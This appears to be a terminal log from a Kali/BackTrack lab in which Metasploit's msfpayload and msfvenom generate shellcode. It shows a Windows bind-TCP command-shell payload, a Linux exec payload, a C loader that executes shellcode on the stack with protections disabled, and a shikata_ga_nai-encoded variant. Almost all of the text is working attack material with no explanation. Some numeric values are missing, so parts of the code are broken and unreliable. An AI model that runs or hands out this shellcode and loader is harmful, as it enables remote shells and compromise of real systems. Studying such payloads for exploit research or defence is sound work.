root@kali:~# msfpayload -l

Framework Payloads ( total)

==============================

    Name                                             Description

    ----                                             -----------

    aix/ppc/shell_bind_tcp                           Listen for a connection and spawn a command shell

    aix/ppc/shell_find_port                          Spawn a shell on an established connection

    aix/ppc/shell_interact                           Simply execve /bin/sh (for inetd programs)

    aix/ppc/shell_reverse_tcp                        Connect back to attacker and spawn a command shell

    bsd/sparc/shell_bind_tcp                         Listen for a connection and spawn a command shell

...snip...

...snip...

    windows/x64/shell/bind_tcp                       Listen for a connection (Windows x64), Spawn a piped command shell (Windows x64) (staged)

    windows/x64/shell/reverse_tcp                    Connect back to the attacker (Windows x64), Spawn a piped command shell (Windows x64) (staged)

    windows/x64/shell_bind_tcp                       Listen for a connection and spawn a command shell (Windows x64)

    windows/x64/shell_reverse_tcp                    Connect back to attacker and spawn a command shell (Windows x64)

    windows/x64/vncinject/bind_tcp                   Listen for a connection (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)

    windows/x64/vncinject/reverse_tcp                Connect back to the attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)

root@kali:~# msfpayload windows/shell_bind_tcp o

       Name: Windows Command Shell, Bind TCP Inline

     Module: payload/windows/shell_bind_tcp

    Version:

   Platform: Windows

       Arch: x86

Needs Admin: No

 Total size:

       Rank: Normal

Provided by:

  vlad902

  sf 

Basic options:

Name      Current Setting  Required  Description

----      ---------------  --------  -----------

EXITFUNC  process          yes       Exit technique: seh, thread, process, none

LPORT                  yes       The listen port

RHOST                      no        The target address

Description:

  Listen for a connection and spawn a command shell

root@bt:~# msfpayload windows/shell_bind_tcp LPORT= C

/*

 * windows/shell_bind_tcp - 341 bytes

 * http://www.metasploit.com

 * VERBOSE=false, LPORT=7777, RHOST=, EXITFUNC=process,

 * InitialAutoRunScript=, AutoRunScript=

 */

unsigned char buf[] =

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"

"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"

"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"

"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"

"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"

"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"

"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"

"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"

"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"

"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"

"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"

"\x31\xdb\x53\x68\x02\x00\x1e\x61\x89\xe6\x6a\x10\x56\x57\x68"

"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"

"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"

"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"

"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"

"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"

"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"

"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"

"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"

"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

root@bt:~# msfpayload  linux/x86/exec CMD=ls C

/*

 * linux/x86/exec - 38 bytes

 * http://www.metasploit.com

 * VERBOSE=false, PrependSetresuid=false,

 * PrependSetreuid=false, PrependSetuid=false,

 * PrependChrootBreak=false, AppendExit=false, CMD=ls

 */

unsigned char buf[] =

"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"

"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c"

"\x73\x00\x57\x53\x89\xe1\xcd\x80";

 #include<unistd.h>

 unsigned char large_string[];

 /*

  * linux/x86/exec - 38 bytes

  * http://www.metasploit.com

  * VERBOSE=false, PrependSetresuid=false,

  * PrependSetreuid=false, PrependSetuid=false,

  * PrependChrootBreak=false, AppendExit=false, CMD=ls

  */

 unsigned char shellcode[] =

 "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"

 "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c"

 "\x73\x00\x57\x53\x89\xe1\xcd\x80";

 void main() {

     char buffer[];

     int i;

     long *long_ptr = (long *) large_string;

     for (i = ; i < sizeof(large_string)/sizeof(int); i++)

         *(long_ptr + i) = (int) buffer; 

     for (i = ; i < sizeof(shellcode); i++)

         large_string[i] = shellcode[i];

     memcpy(buffer,large_string,sizeof(large_string));

 } 

bai@ubuntu:/mnt/hgfs/r/stack$ gcc -fno-stack-protector -z execstack -g -o shell shell.c

bai@ubuntu:/mnt/hgfs/r/stack$ ./shell

root@bt:~# msfvenom  -p linux/x86/exec CMD=ls -e x86/shikata_ga_nai -b '\x00' -f c

[*] x86/shikata_ga_nai succeeded with size  (iteration=)

unsigned char buf[] =

"\xdb\xd6\xd9\x74\x24\xf4\xbb\xe3\xa4\x6b\x7e\x58\x2b\xc9\xb1"

"\x0a\x83\xc0\x04\x31\x58\x15\x03\x58\x15\x01\x51\x01\x75\x9d"

"\x03\x84\xef\x75\x19\x4a\x79\x62\x09\xa3\x0a\x04\xca\xd3\xc3"

"\xb6\xa3\x4d\x95\xd5\x66\x7a\xa6\x19\x87\x7a\xc5\x6a\x87\x2d"

"\x46\x05\x66\x1c\xe8";